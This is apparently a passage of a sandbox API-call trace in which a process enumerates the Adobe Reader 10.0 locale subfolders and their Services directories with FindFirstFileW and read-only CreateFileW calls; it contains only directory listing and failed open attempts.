	[0054.198] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.205] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.205] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.209] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.209] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.214] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.214] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.216] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.216] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.221] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.221] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.226] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.226] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.231] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.231] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.232] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.232] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.240] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.240] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.242] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.242] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.250] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.250] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.251] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.251] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.262] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.262] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.264] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.264] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.270] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.270] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.271] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.271] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.278] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.278] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.279] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.280] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.287] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.287] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.288] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.288] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.295] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.295] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.296] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.296] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.301] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.301] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.311] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.311] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.318] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.318] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.325] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\spplugins"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
